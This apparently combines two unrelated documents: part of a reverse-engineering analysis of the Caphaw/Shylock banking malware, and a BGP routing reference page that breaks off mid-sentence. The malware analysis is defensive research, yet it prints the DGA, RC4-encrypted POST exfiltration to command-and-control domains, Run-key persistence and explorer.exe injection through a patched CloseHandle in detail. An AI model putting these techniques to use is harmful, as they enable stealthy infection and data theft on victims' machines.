`EAX``,[``EBP``+``0C``]``..``00EE7220` `8B75` `EC` `MOV` `ESI``,``DWORD` `PTR`
`SS``:[``EBP``-``14``] ` `; pointer to the alphabet string in ESI``00EE7223`
`C645` `FD` `00` `MOV` `BYTE` `PTR` `SS``:[``EBP``-``3``],``0``00EE7227`
`8BD8` `MOV` `EBX``,``EAX``00EE7229` `85F6` `TEST` `ESI``,``ESI``00EE722B`
`75` `04` `JNE` `SHORT` `00EE7231``00EE722D` `33C0` `XOR`
`EAX``,``EAX``00EE722F` `EB` `07` `JMP` `SHORT` `00EE7238``00EE7231` `8BCE`
`MOV` `ECX``,``ESI``00EE7233` `E8` `DDE0FEFF` `CALL` `00ED5315` `;
strlen(alphabet)``00EE7238` `50` `PUSH` `EAX``00EE7239` `E8` `B811FFFF` `CALL`
`00ED83F6` `; pick a number between 0 and 0x24``00EE723E` `59` `POP` `ECX` `;
EAX contains the chosen digit``00EE723F` `85F6` `TEST` `ESI``,``ESI``00EE7241`
`75` `04` `JNE` `SHORT` `00EE7247``00EE7243` `33C0` `XOR`
`EAX``,``EAX``00EE7245` `EB` `02` `JMP` `SHORT` `00EE7249``00EE7247` `03C6`
`ADD` `EAX``,``ESI` `; sum the chosen digit with alphabet table``00EE7249`
`8A00` `MOV` `AL``,``BYTE` `PTR` `DS``:[``EAX``]``00EE724B` `8845` `FC` `MOV`
`BYTE` `PTR` `SS``:[``EBP``-``4``],``AL` `; alphabet character at digit-chosen
position``00EE724E` `8D45` `FC` `LEA` `EAX``,[``EBP``-``4``]``00EE7251` `50`
`PUSH` `EAX``00EE7252` `8D7D` `F0` `LEA` `EDI``,[``EBP``-``10``]``00EE7255`
`E8` `4AEBFEFF` `CALL` `00ED5DA4``00EE725A` `4B` `DEC` `EBX``00EE725B` `^
``75` `CC` `JNE` `SHORT` `00EE7229` `; next iteration`  
---|---  
ECX finally points to the final string, in our case we have:

> ECX = “3m9ojygm0zm3y”
The next piece of code is from the same call:

1234567891011| `00EE726E` `FF30` `PUSH` `DWORD` `PTR` `DS``:[``EAX``] ` `;
'https://'``00EE7270` `8D75` `F4` `LEA` `ESI``,[``EBP``-``0C``]``00EE7273`
`E8` `75E8FEFF` `CALL` `00ED5AED``00EE7278` `FF75` `F0` `PUSH` `DWORD` `PTR`
`SS``:[``EBP``-``10``] ` `; new builded string 3m9ojygm0zm3y``00EE727B` `8BFE`
`MOV` `EDI``,``ESI``00EE727D` `E8` `22EBFEFF` `CALL` `00ED5DA4` `;
strcat(http://, new_string)``00EE7282` `FF75` `F4` `PUSH` `DWORD` `PTR`
`SS``:[``EBP``-``0C``] ` `; "https://3m9ojygm0zm3y"``...``00EE72B5` `8BFE`
`MOV` `EDI``,``ESI``00EE72B7` `E8` `E8EAFEFF` `CALL` `00ED5DA4``00EE72BC`
`8BDE` `MOV` `EBX``,``ESI` `; finally
"https://3m9ojygm0zm3y.thepohzi.su/ping.html"`  
---|---  
The result of _call 00EE71C1_ is given by the string:

> “https://3m9ojygm0zm3y.thepohzi.su/ping.html”
As it should be clear _call 00EE71C1_ contains the **DGA** \(**Domain
Generation Algorithm**\) function. More information about DGA techniques here.

After **call 00EE71C1** the next important call is reported below:

123| `00EE7852` `50` `PUSH` `EAX` `00EE7853` `E8` `D6FCFFFF` `CALL` `00EE752E`
`00EE7858` `8D45` `0C` `LEA` `EAX``,[``EBP``+``0C``]`  
---|---  
Inside _call 00EE752E_ :

12345678910111213141516171819202122232425262728293031| `00EE7541` `50` `PUSH`
`EAX``00EE7542` `E8` `048D0000` `CALL` `00EF024B` `; cut string as 'dga-
subdomain.domain.tld'``00EE7547` `8D45` `FC` `LEA`
`EAX``,[``EBP``-``4``]``..``00EE754B` `B8` `DC93EB00` `MOV`
`EAX``,``0EB93DC``00EE7550` `E8` `DC460000` `CALL` `00EEBC31` `; decrypt
ca5f2abe``00EE7555` `83C4` `0C` `ADD` `ESP``,``0C``..``00EE755E` `8BF8` `MOV`
`EDI``,``EAX``00EE7560` `E8` `88E5FEFF` `CALL` `00ED5AED``00EE7565` `FF37`
`PUSH` `DWORD` `PTR` `DS``:[``EDI``] ` `; ASCII "ca5f2abe"``..``00EE7565`
`FF37` `PUSH` `DWORD` `PTR` `DS``:[``EDI``] ``00EE7567` `8BFE` `MOV`
`EDI``,``ESI``00EE7569` `E8` `36E8FEFF` `CALL` `00ED5DA4` `;
strcat(3ptv80m1lofln6y.tohk5ja.cc, ca5f2abe)``00EE756E` `8D75` `FC` `LEA`
`ESI``,[``EBP``-``4``] ` `; result =
"3ptv80m1lofln6y.tohk5ja.ccca5f2abe"``..``00EE757C` `E8` `9CE5FEFF` `CALL`
`00ED5B1D``00EE7581` `8B17` `MOV` `EDX``,``DWORD` `PTR` `DS``:[``EDI``] ` `;
POST data "key=a323e7d52d&id=57..``00EE7583` `85D2` `TEST`
`EDX``,``EDX``..``00EE758B` `8BCA` `MOV` `ECX``,``EDX` `00EE758D` `E8`
`83DDFEFF` `CALL` `00ED5315` `; strlen(POST data)``00EE7592` `8BF0` `MOV`
`ESI``,``EAX``..``00EE759F` `E8` `71DDFEFF` `CALL` `00ED5315` `; EAX =
strlen(3ptv80m1lofln6y.tohk5ja.ccca5f2abe)``00EE75A4` `56` `PUSH` `ESI` `; ESI
= POST data len.``00EE75A5` `52` `PUSH` `EDX` `; EDX = POST data
string``00EE75A6` `50` `PUSH` `EAX` `; EAX =
strlen(3ptv80m1lofln6y.tohk5ja.ccca5f2abe)``00EE75A7` `51` `PUSH` `ECX` `; ECX
= 3ptv80m1lofln6y.tohk5ja.ccca5f2abe ``00EE75A8` `E8` `1361FFFF` `CALL`
`00EDD6C0`  
---|---  
One of the most used encryption algorithms usually is **RC4** , so in first
instance we will do some assumptions and later on we will demonstrate this
hypothesis:

**Hypothesis – RC4 encryption**

  * **Assumption 1: experience tells us that CALL 00EDD6C0 – COULD be RC4.**
  * **Assumption 2: EDX points to the code to be encrypted \(actually the plaintext\).**
  * **Assumption 3: ECX points to the encryption key.**

and now we have to formulate a sequence of steps in order to demonstrate our
idea.

**Verification of our hypothesis:**

  1. **Dump to file of ECX pointed buffer \(POST data\).  
**

  2. **Buffer contains extra data, we have to carve the plaintext \(from ‘key=’ to NULL byte\)  
**

  3. **Apply cryptographic filter.**
  4. **Compare results of the crypto filter with the output from CALL 00EDD6C0.**

For this demonstration it will come in handy Profiler, where we can apply a
cryptographic filter to a specified block of data.

<img src='img/Temp2_4394.png' width='710' height='518'
alt='postdatarc4-resized' />

Now we can execute **CALL 00EDD6C0** and match the results.

<img src='img/Temp2_4395.png' width='449' height='383'
alt='postdata_encrypted' />  
We have demonstrated, without wasting too much time, that the algorithm used
is RC4. Let’g go ahead.

123| `00EE75B3` `56` `PUSH` `ESI` `; Post data len``00EE75B4` `E8` `C363FFFF`
`CALL` `00EDD97C``00EE75B9` `8BD8` `MOV` `EBX``,``EAX` `; ASCII
"Qo/D+FhsV7onrJuo1Oa3jW54YpipEAsv5QXgQCMleF82in28voElcco`  
---|---  
The most obious thing here is that Caphaw applies a layer of Base64 to the RC4
ciphertext. We can verify our assumption again with the base64 conversion
filter exposed by Profiler.

<img src='img/Temp2_4393.png' width='529' height='157' alt='base64-resized' />

#

In synthesis:

> data\_to\_be\_sent = Encode\_Base64\(Encrypt\_RC4\(post\_data,
> dga\_based\_key\)\)
and finally the following string is assembled:

> z=data\_to\_be\_sent
Please note that the encryption key is composed of a dynamic part \(DGA
generated domain\) and a static string given by _ca5f2abe_. Such key building
scheme will allow the receiving DGA generated domain to decrypt the POST data,
because **the domain name is in itself a piece of the encryption key, the
remaining shared secret is given by the static string _ca5f2abe_.**

> # The domain name is in itself a piece
> # of the encryption key, the remaining
> # shared secret is given by the static
> # string  _ca5f2abe_.
Next call to be analysed:

123| `00EE7873` `8B45` `10` `MOV` `EAX``,``DWORD` `PTR`
`SS``:[``EBP``+``10``]``00EE7876` `E8` `8F7F0000` `CALL` `00EEF80A``00EE787B`
`59` `POP` `ECX`  
---|---  
Inside _00EEF80A_

123| `00EEF81B` `E8` `FD62FEFF` `CALL` `00ED5B1D``00EEF820` `E8` `9CF9FFFF`
`CALL` `00EEF1C1``00EEF825` `59` `POP` `ECX`  
---|---  
And again inside _00EEF1C1_ we have _call 00EEEAF8_ where we find:

12345678910111213141516171819202122232425262728293031| `00EEEB0E` `8B15`
`8482EF00` `MOV` `EDX``,``DWORD` `PTR` `DS``:[``0EF8284``]``00EEEB14` `8B4A`
`38` `MOV` `ECX``,``DWORD` `PTR` `DS``:[``EDX``+``38``] ` `; previously
computed MD5 hash``00EEEB17` `85C9` `TEST` `ECX``,``ECX``00EEEB19` `74` `31`
`JE` `SHORT` `00EEEB4C``00EEEB1B` `E8` `F567FEFF` `CALL` `00ED5315` `;
strlen(MD5_hash)``00EEEB20` `3BF0` `CMP` `ESI``,``EAX` `; jump if all MD5
chars are computed ``00EEEB22` `73` `28` `JAE` `SHORT` `00EEEB4C``00EEEB24`
`8BC1` `MOV` `EAX``,``ECX``00EEEB26` `85C0` `TEST` `EAX``,``EAX``00EEEB28`
`74` `02` `JE` `SHORT` `00EEEB2C``00EEEB2A` `03C6` `ADD`
`EAX``,``ESI``00EEEB2C` `8A00` `MOV` `AL``,``BYTE` `PTR`
`DS``:[``EAX``]``00EEEB2E` `8D48` `D0` `LEA`
`ECX``,[``EAX``-``30``]``00EEEB31` `80F9` `09` `CMP` `CL``,``9` `; if current
md5 is not a digit``00EEEB34` `77` `13` `JA` `SHORT` `00EEEB49` `; jump to the
next md5 char``00EEEB36` `8845` `FC` `MOV` `BYTE` `PTR`
`SS``:[``EBP``-``4``],``AL``00EEEB39` `8D45` `FC` `LEA`
`EAX``,[``EBP``-``4``]``00EEEB3C` `50` `PUSH` `EAX``00EEEB3D` `8D7D` `F8`
`LEA` `EDI``,[``EBP``-``8``]``00EEEB40` `C645` `FD` `00` `MOV` `BYTE` `PTR`
`SS``:[``EBP``-``3``],``0``00EEEB44` `E8` `5B72FEFF` `CALL` `00ED5DA4` `;
strcat next digit``00EEEB49` `46` `INC` `ESI``00EEEB4A` `^ ``EB` `C2` `JMP`
`SHORT` `00EEEB0E` `;next iteration``..``00EEEB83` `E8` `5F75FEFF` `CALL`
`00ED60E7` `; select first 4 chars of the hash``..``00EEEBBF` `B8` `D88CEB00`
`MOV` `EAX``,``0EB8CD8``00EEEBC4` `E8` `68D0FFFF` `CALL` `00EEBC31` `; decrypt
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR
1.0.%s)"``..``00EEEBCE` `8BC6` `MOV` `EAX``,``ESI``00EEEBD0` `E8` `4A74FEFF`
`CALL` `00ED601F` `; sprintf user-agent with selected 4 digits`  
---|---  
This piece of code selects only digit values from the previously computed
hash, here is a quick summary:

123| `filter_by_digits(``"571C8ECED4FAF69E4A38507B4417257B"``) =
``"57184694385074417257"``select_4_digits(``"57184694385074417257"``) =
``5718``Assemble User-Agent string = ``"Mozilla/4.0 (compatible; MSIE 6.0;
Windows NT 5.1; SV1; .NET CLR 1.0.5718)"`  
---|---  
As you can see .NET CLR version **1.0.****5718** is composed by the 4-digits-
hash version****. The user-agent depends on previously computed hash \(which
can be considered as an _Indicator of Compromise_\) will allow the server to
evaluate the **consistency and authenticity** of the request.

12345678910111213| `00EEEC1C` `57` `PUSH` `EDI` `; EDI = 0``00EEEC1D` `57`
`PUSH` `EDI``00EEEC1E` `57` `PUSH` `EDI``00EEEC1F` `57` `PUSH` `EDI``00EEEC20`
`FF75` `FC` `PUSH` `DWORD` `PTR` `SS``:[``EBP``-``4``] ` `; User-Agent
string``00EEEC23` `FF15` `9484EF00` `CALL` `DWORD` `PTR` `DS``:[``0EF8494``]`
`; InternetOpenA``..``00EEF20F` `E8` `0969FEFF` `CALL` `00ED5B1D``00EEF214`
`E8` `F9FEFFFF` `CALL` `00EEF112` `;
InternetConnectA(DGA_domain)``..``00EEF227` `C745` `FC` `C0D4010` `MOV`
`DWORD` `PTR` `SS``:[``EBP``-``4``],``1D4C0``00EEF22E` `E8` `6FF4FFFF` `CALL`
`00EEE6A2` `; InternetSetOption ``00EEF233` `8D45` `FC` `LEA`
`EAX``,[``EBP``-``4``]`  
---|---  
These three API calls \(_InternetOpenA_ , _InternetConnectA_ ,
_InternetSetOption_\) initialise the malware’s use of the WinInet functions
then they open an HTTP session for the given DGA domain.

123456789| `00EEF0DF` `53` `PUSH` `EBX` `; 0``00EEF0E0` `57` `PUSH` `EDI` `;
84A83300``00EEF0E1` `53` `PUSH` `EBX` `; 0``00EEF0E2` `53` `PUSH` `EBX` `;
0``00EEF0E3` `53` `PUSH` `EBX` `; 0``00EEF0E4` `50` `PUSH` `EAX` `;
'/ping.html'``00EEF0E5` `FF75` `10` `PUSH` `DWORD` `PTR`
`SS``:[``EBP``+``10``] ` `; 'POST'``00EEF0E8` `FF75` `08` `PUSH` `DWORD` `PTR`
`SS``:[``EBP``+``8``]``00EEF0EB` `FF15` `9C84EF00` `CALL` `DWORD` `PTR`
`DS``:[``0EF849C``]` `; HttpOpenRequestA`  
---|---  
This piece of code creates an HTTP request handle and later decrypts a few
strings that will be used to build a proper request header:

Decrypt string: “Content-Type: application/x-www-form-urlencoded”  
Decrypt string: “Accept-Language: en-US;q=0.2,en”

12345678| `Everything is now ready ``in` `order to send the POST request:`
`00EEEFDC` `FF75` `14` `PUSH` `DWORD` `PTR` `SS``:[``EBP``+``14``]``00EEEFDF`
`FF75` `10` `PUSH` `DWORD` `PTR` `SS``:[``EBP``+``10``]``00EEEFE2` `FF75` `0C`
`PUSH` `DWORD` `PTR` `SS``:[``EBP``+``0C``]``00EEEFE5` `FF75` `08` `PUSH`
`DWORD` `PTR` `SS``:[``EBP``+``8``]``00EEEFE8` `53` `PUSH` `EBX``00EEEFE9`
`FF15` `A084EF00` `CALL` `DWORD` `PTR` `DS``:[``0EF84A0``] ` `;
HttpSendRequestA`  
---|---  
Since we are dealing with DGA, it’s a very common situation that the requested
domain is offline, for this reason Caphaw needs a to reiterate the request
until an active domain replies. In the core \(the component we are analysing
now\) this attempt is restricted to a limited number of attempts, while in the
_explorer.exe_ injected code we will see a thread dedicated to this specific
scope.

We have finished the very long _Call 00EE48DB_ \(please refer to the first
part of the article\) that characterised the **HSE::Step 5**. In synthesis
this call:

  * **Collects information about the victim in order to build a POST request.**
  * **Generates via DGA the domains where stolen data will be sent.**
  * **Encrypts the collected details.**
  * **Contacts and sends POST request to the malicious domains.**

We are now again inside the main call, as usual we will consider only the most
significant calls.

12345678| `00EF5F34` `66``:``C74424` `19` `3A` `MOV` `WORD` `PTR`
`SS``:[``ESP``+``19``],``3A` `; c: (in our case)``00EF5F3B` `E8` `D625FEFF`
`CALL` `00ED8516` `; GetDriveTypeA( c: )``00EF5F40` `59` `POP` `ECX``00EF5F41`
`85C0` `TEST` `EAX``,``EAX``00EF5F43` `74` `05` `JE` `SHORT`
`00EF5F4A``00EF5F45` `83F8` `03` `CMP` `EAX``,``3``00EF5F48` `75` `0F` `JNE`
`SHORT` `00EF5F59` `; check if the drive is DRIVE_FIXED (HDD or flash drive
for example)``00EF5F4A` `8B4424` `18` `MOV` `EAX``,``DWORD` `PTR`
`SS``:[``ESP``+``18``]` `; EAX point to FirefoxUpdate.exe's path`  
---|---  
This is a basic check to understand from what kind of drive the malicious
binary has been executed. Immediately after this call we reach **HSE::Step
7**.

1234567| `00EF5F63` `E8` `C95CFFFF` `CALL` `00EEBC31` `;HSE::Step 7``00EF5F68`
`59` `POP` `ECX``00EF5F69` `8D7424` `10` `LEA`
`ESI``,[``ESP``+``10``]``00EF5F6D` `E8` `F6FBFDFF` `CALL` `00ED5B68``00EF5F72`
`FF7424` `18` `PUSH` `DWORD` `PTR` `SS``:[``ESP``+``18``]``00EF5F76` `BE`
`8082EF00` `MOV` `ESI``,``0EF8280``00EF5F7B` `E8` `596AFEFF` `CALL` `00EDC9D9`
`; Copy FirefoxUpdate.exe content into a buffer`  
---|---  
Here’s what happens inside _call 00EDC9D9c,_ summarised in pseudo-code:

123| `CreateFileA(FirefoxUpdate``.exe``)``size` `= GetFileSize of
FirefoxUpdate``.exe``Buffer = ReadFile(FirefoxUpdate``.exe``, ``size``)`  
---|---  
This copies the entire content of _FirefoxUpdate.exe_ into a buffer via
_ReadFile_.

123456| `00EF6018` `E8` `145CFFFF` `CALL` `00EEBC31` `; HSE::Step 8``00EF601D`
`59` `POP` `ECX``00EF601E` `8D7424` `0C` `LEA`
`ESI``,[``ESP``+``0C``]``00EF6022` `E8` `41FBFDFF` `CALL` `00ED5B68``00EF6027`
`6A` `01` `PUSH` `1``00EF6029` `E8` `403BFFFF` `CALL` `00EE9B6E` `; setup
survival on reboot`  
---|---  
**HSE::Step 8** is functionally characterised by the installation of a method
to remain persistent after reboot, in order to grant that _FirefoxUpdate.exe_
will be executed during each system reboot. _Call 00EE9B6E_ can be synthesised
as follows:

1234567891011|
`RegOpenKeyA(``"Software\Microsoft\Windows\CurrentVersion\Run"``)``RegQueryValueExA(HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run)`
`If` `entry ``does` `not` `exists then build ``a` `string like ``this` `one:`
`C``:\Documents ``and` `Settings\<user>\Application Data\Microsoft\Internet
Explorer\mmc``.exe` `mmc``.exe` `file is ``a` `copy of FirefoxUpdate``.exe`
`binary.`
`RegOpenKeyA(``"Software\Microsoft\Windows\CurrentVersion\Run"``)``RegSetValueExA(HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run)`  
---|---  
The path and binary name of the new copy could arbitrary change for each
infection, in this way _Caphaw_ attempts to disguise itself, making
intelligence activities based on research of static artefacts a little more
difficult.

12345678| `00EF6041` `E8` `EB5BFFFF` `CALL` `00EEBC31` `;HSE::Step
9``00EF6046` `59` `POP` `ECX``00EF6047` `8D7424` `0C` `LEA`
`ESI``,[``ESP``+``0C``]``..``00EF60C1` `E8` `6B5BFFFF` `CALL` `00EEBC31` `;
explorer.exe``00EF60C6` `59` `POP` `ECX``00EF60C7` `FF30` `PUSH` `DWORD` `PTR`
`DS``:[``EAX``] ` `; explorer.exe``00EF60C9` `E8` `9102FEFF` `CALL` `00ED635F`  
---|---  
**HSE::Step 9** can be resumed by the _call 00ED635F_ which retrieves **PID of
explorer.exe** by enumerating processes via _CreateToolhelp32Snapshot\(\)_
method. Immediately after, we reach **HSE::Step 10** which is the last one.

12| `00EF6134` `57` `PUSH` `EDI` `; explorer.exe PID``00EF6135` `E8`
`6D51FEFF` `CALL` `00EDB2A7`  
---|---  
_Call 00EDB2A7_ performs code injection inside explorer.exe process. First
operation involves retrieving explorer’s handle:

1234| `OpenProcess``Access =
``PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION|PROCESS_VM_READ|PROCESS_VM_WRITE|PROCESS_QUERY_INFORMATION``ProcessID
= explorer``.exe` `PID`  
---|---  
_PROCESS\_VM\_WRITE_ allows _Caphaw_ to inject code \(write\) inside explorer
via _WriteProcessMemory\(\)_ , _OpenProcess\(\)_ returns the handle for
_explorer.exe_ which is **1Bc**.

12| `CreateMutex``Name` `= ``"5J*%$:YL[cXzW=8%.|cTB`!.,}FOur^mC000005E8"`  
---|---  
A named mutex is created, the name adopted comes from _encrypted MD5\_EVT\_ or
\_MTX\__ seen in the first part of our analysis.

12345678910111213| `.1` `VirtualAllocEx``hProcess = ``000001BC``A``dd``ress =
NULL``Size` `= ``305638``.``AllocType = MEM_COMMIT|MEM_RESERVE``Protect =
PAGE_EXECUTE_READWRITE` `.2` `VirtualAllocEx``hProcess =
``000001BC``A``dd``ress = NULL``Size` `= ``299008``.``AllocType =
MEM_COMMIT|MEM_RESERVE``Protect = PAGE_READWRITE`  
---|---  
Here we have two **VirtualAllocEx** which commit a region of memory within the
virtual address space of a specified process, in our case from _hProcess =
1BC_ it’s clear that the target process is explorer.

123456| `WriteProcessMemoryA``hProcess = ``000001BC``BaseA``dd``ress =
``0BF0000``Buffer = ``00F19018``Size` `= ``299008``.``pBytesWritten =
``0012F6B8` `-> ``0`  
---|---  
As you can see the size of this _WriteProcessMemory_ matches with
_VirtualAllocEx_ . Immediately after we have another _WriteProcessA_ with the
following parameters:

123456| `WriteProcessMemoryA``hProcess = ``000001BC``BaseA``dd``ress =
``0B90000``Buffer = ``00F81328``Size` `= ``305638``.``pBytesWritten =
``0012F6B8` `-> ``299008``.`  
---|---  
This time size matches with the first _VirtualAllocEx_ that has
**PAGE\_EXECUTE\_READWRITE** protection, this means that we have a block of
executable data \(Code\), we can follow the code in the dump window to observe
the source buffer.

<img src='img/Temp2_4396.png' width='449' height='380' alt='writeprocmem' />

An **entire** PE is injected inside the target process, its whole memory
region is executable.

12345678910111213| `VirtualAllocEx``hProcess = ``000001BC``A``dd``ress =
NULL``Size` `= ``90``.``AllocType = MEM_COMMIT|MEM_RESERVE``Protect =
PAGE_EXECUTE_READWRITE` `WriteProcessMemoryA``hProcess =
``000001BC``BaseA``dd``ress = ``0BE0000``Buffer = ``00F7F340``Size` `=
``90``.``pBytesWritten = ``0012F68C` `-> ``444``.`  
---|---  
Again we have a _WriteProcessMemory_ directed to a block of executable memory,
we can inspect the injected code by disassembling data pointed by the
_Buffer_ parameter:

<img src='img/Temp2_4397.png' width='637' height='330' alt='writeproc2' />

Here we have the latest _VirtualAllocEx_ call:

123456| `VirtualProtectEx``hProcess = ``000001BC``A``dd``ress =
``7C809B77``Size` `= ``7``NewProtect = PAGE_EXECUTE_READWRITE``pOldProtect =
``0012F688` `-> PAGE_NOACCESS`  
---|---  
Set _PAGE\_EXECUTE\_READWRITE_ on the first 7 bytes starting from address
_7C809B77_ which corresponds to _kernel32.CloseHandle_.

123456| `WriteProcessMemoryA``hProcess = ``000001BC``BaseA``dd``ress =
kernel32``.CloseHandle``Buffer = ``0012F6BC``Size` `= ``7``pBytesWritten =
``0012F68C` `-> ``90``.`  
---|---  
Here it happens an interesting thing: _CloseHandle_ API used by explorer.exe
will be patched, more precisely we have a patch 7 bytes long, let’inspect
Buffer parameter:

123| `0012F6BC` `90` `NOP``0012F6BD` `68` `0000BE00` `PUSH`
`0BE0000``0012F6C2` `C3` `RETN`  
---|---  
Once reached, RETN execution jumps at address **0BE0000** , which is the block
of code previously injected via _WriteProcessMemory_. This is how _Caphaw_
performs Code Injection and executes its own code inside explorer.exe\!

> # 7 bytes of CloseHandle\(\) will be patched,
> # this is how Caphaw performs code injection
> # inside explorer.exe
The first time that _CloseHandle_ will be called by explorer.exe the execution
will jump to the _Caphaw_ malicious code. It is worth to note that the
**patched API isn’t always _CloseHandle_** , under different circumstances
\(different OS\) the chosen API could change.

All 10 HSE Steps are now completed, malicious code analysis will now continue
in explorer.exe.

**How to approach and debug the injected code**

How do we proceed in order to analyse the injected code?

If we execute the last _WriteProcessMemory_ \(the one that patches the API\)
explorer could call at any time _CloseHandle_ and the malicious code would be
automatically executed. As you can see from the 7 disassembled bytes, the
landing address is ‘leaked’ -> **0BE0000** this means that we have an address
where to set a **breakpoint**. The first operation is to open another
explorer.exe instance inside Olly and locate this leaked address \(ctrl + G\),
set a breakpoint and l**et explorer run normally**. We can now go back to the
dropper and **execute the patching WriteProcessMemory** – the debugged
explorer instance will hit the breakpoint right away.

**Conclusions**

In this second episode we have seen the information gathered and how they are
encrypted, how networking activity is performed by Caphaw and finally we have
analyzed its code injection capability. We are at 2/3 of our path toward the
complete analysis. In the next final episode we will deal with the code
injected in explorer.exe. We will meet again DGA algorithm and networking
stuff, but this time we will follow another branch. Finally we will also take
a glance to Caphaw/Shylock’s _configuration and webinjects_.

# BGP - Packet Life

**Created:**| _12/18/2009 10:18:01 PM_  
---|---  
**Updated:**| _12/18/2009 10:18:11 PM_  
**Author:**| __  
**Tags:**| _bookmark network-security_  
  

# BGP

Last modified 5 Dec 2009 at 15:43 UTC

Contents

  * Introduction
  * Protocol Specifications
  * Usage applications
  * Session establishment
  * Route Process
    * BGP routes injection process
  * Route Summarization
    * Automatic summarization
  * Outbound route filtering
  * Filter with route maps
  * Implementing changes in policy
  * BGP path attributes
    * Mandatory well-known attributes
    * Discretionary well-known attributes
    * Nontransitive attributes
    * Transitive attributes
  * Influencing route selection using weights
    * Using weight
    * Using local preference
    * Autonomous system path prepending
    * BGP multi exit discriminator \(MED\)
  * Route reflectors
  * Confederations
  * Peer groups
  * Network backdoor command
  * Configure the BGP maximum-prefix function
  * Route dampening
  * Troubleshooting and monitoring BGP

## Introduction

**Border Gateway Protocol** is an Exterior Gateway Protocol \(EGP\) used for
routing between autonomous systems. It enables routing policies and improves
security.

BGP is an advanced path vector protocol and includes the following:

  * Reliable updates.
  * Triggered updates only.
  * Rich metric \(Path attributes\).
  * Scalable to massive networks.

## Protocol Specifications

Protocol Type| Path vector  
---|---  
Peering mechanism| Manual peering between neighbors  
eBGP AD| 20  
iBGP AD| 200  
Rights| Open standard  
Supported protocols| IPv4, IPv6  
Transport| TCP/179  
Update mode| Only triggered  
Timers| Hello \(60 sec\)  
Authentication| None, MD5  
Specifications| RFC 4701  
## Usage applications

  * Customer connected to multiple Internet service providers \(ISPs\).
  * Service provider networks \(Transit autonomous system\).
  * Network cores of very large enterprise networks, like you have distribution layer, and core layer, BGP can fit in the core layer as a backup or redundant routing protocol due to its stability.

## Session establishment

BGP neighbors are not discovered; rather they must be configured manually on
both sides of the connection. TCP port 179 is used. Only one session remains
if both connection attempts succeed. The **show ip bgp summary** command gives
an overview of the session status.

**Session establishment phases:**

  * Idle.
  * Active.
  * OpenSent.
  * OpenConfirm.
  * Established.

Keepalive are sent every 60 seconds. Peers can use MD5 shared secret.

## Route Process

The best route selection criteria occurs in this order:

  * Exclude any route with inaccessible next hop
  * Prefer highest weight \(local to router\)
  * Prefer highest local preference \(global within autonomous system\)
  * Prefer routes that the router originated
  * Prefer shortest autonomous system paths \(compare length only\)
  * Prefer lowest origin code \(IGP < EGP < Incomplete\)
  * Prefer lowest Multiexit Discriminator \(MED\)
  * Prefer external paths over internal BGP \(iBGP\) paths
  * For iBGP paths, prefer path through closest IGP neighbor
  * For external BGP \(eBGP\) paths, prefer the oldest path
  * Prefer paths from router with lower BGP router ID

11 steps the route must pass for it to get a place in the routing table, first
one match, all below are skipped, so the order is very important.

The best routes \(valid and reachable\) are propagated to BGP neighbors.

The best BGP routes are copied into the IP routing table after the router
checks administrative distance value.

### BGP routes injection process

The BGP process injects local routes in two different ways:

  * Using the **Network** configuration commands. This command lists networks that are candidates if they appear in the routing table.
  * Using redistribution from another routing protocol

## Route Summarization

Automatic classful summarization is enabled **by default** \(which is not
preferable\). When you disable automatic summarization, the routes introduced
locally into the BGP table are not summarized.

### Automatic summarization

To disable automatic summarization, use the following router configuration
command in the process level:

> **no auto-summary**
To manually define a network for advertisement by BGP, use the following
router configuration command in the process level:

> **network**  _network-number_ \[**mask**  _network-mask_\]
**Take into consideration** that the  _network_ command reveals the actual
subnet to advertise, not the interface participating in the routing process
like in all other routing protocols.

If you would like to modify attributes before inserting prefixes into the BGP
table, you can use a route map in the **network** command in router
configuration mode in the process level:

> **network**  _network-number_ \[**mask**  _network-mask_\]\[**route-map**
> _map-tag_\]
This option might be used for one or more of the following:

  * Change the weight of a locally sourced route
  * Manipulate source routes with BGP communities
  * Set the local preference
  * Change the value of the MED

## Outbound route filtering

**Outbound route filtering \(ORF\)** is a prefix-based BGP feature that is
enabled through the advertisement of ORF capabilities to peer routers. The
advertisement of the ORF capability indicates that a BGP-speaking router can
accept a prefix list from a neighbor and apply the prefix list to locally
configured ORFs \(if any exist\). When this capability is enabled, the BGP
speaker can install an inbound prefix list filter to the remote peer as an
outbound filter, which reduces unwanted routing updates.

An ORF message cotains the following information:

  * Address family information \(AFI\) and subsequent address family information \(SAFI\) for which the filter should be used
  * ORF type
  * When to refresh \(immediate of deferred refresh\)
  * List of ORF entries where the actual filter is defined

Commonly used ORF types as follows:

  * ORF type 1 filter based on Network Layer Reachability Information \(NLRI\)
  * ORF type 2 filters based on standard BGP community attributes
  * ORF type 3 filters based on extended BGP community attributes
  * ORF type 128 filters based on Cisco-Proprietary implementation of prefix filtering \(prefix lists\)

An ORF type of NLRI-based filtering \(type 1\) uses the following actions:

  * **ADD** \- Adds a line to a prefix list filter on the remote peer
  * **DELETE** \- Removes a line fro a filter that was previously installed on a remote peer
  * **DELETE ALL** \- Removes all previously installed filters on the remote peer

To advertise ORF capability to a peer router, use the **neighbor orf**
_prefix-list_ command in addreess family or router configuration mode:

> **neighbor**  _ip-address_ \[**capability**\] **orf**  _prefix-list_ \[**receive** | **send** | **both**\] 
## Filter with route maps

Route maps are very powerful filtering tools, they can be used to accomplish
the following tasks:

  * Filter on IP prefixes coming from a specific autonomous system
  * Filter on other BGP attributes
  * Modify BGP attributes

Match clauses in the BGP route map can be based on the following:

  * IP network numbers and subnet masks \(prefix list or access list\)
  * Route originator
  * Next hop
  * Origin code
  * Tag value attached to an Interior Gateway Protocol \(IGP\) route
  * Autonomous system path
  * Community
  * IGP route type

With a route map, the following can be set:

  * Origin
  * Next hop
  * Weight
  * Community
  * Local preference
  * MED

You can apply a route map on incoming or outgoing routing information for a
neighbor. The routing information must be permitted by the route map to be
accepted. If the route map has no statement explicitly permitting a route, the
route is implicitly denied and dropped. The syntax required is as follows:

> Router\(config-router\)\# **neighbor  _ip-address_ route-map  _name_
> in|out**
The **show ip bgp route-map** command displays selected routes from a BGP
routing table based on the contents of a route map.

## Implementing changes in policy

The traditional method of **clear ip bgp \*** is disruptive. Soft
reconfiguration was introduced in Cisco IOS 12.2 to facilitate nondisruptive
changes in BGP. When you configure **soft-reconfiguration inbound** for a
neighbor, the router stores all routes received from that neighbor as an extra
copy in memory. This copy is taken before any filtering is applied by the
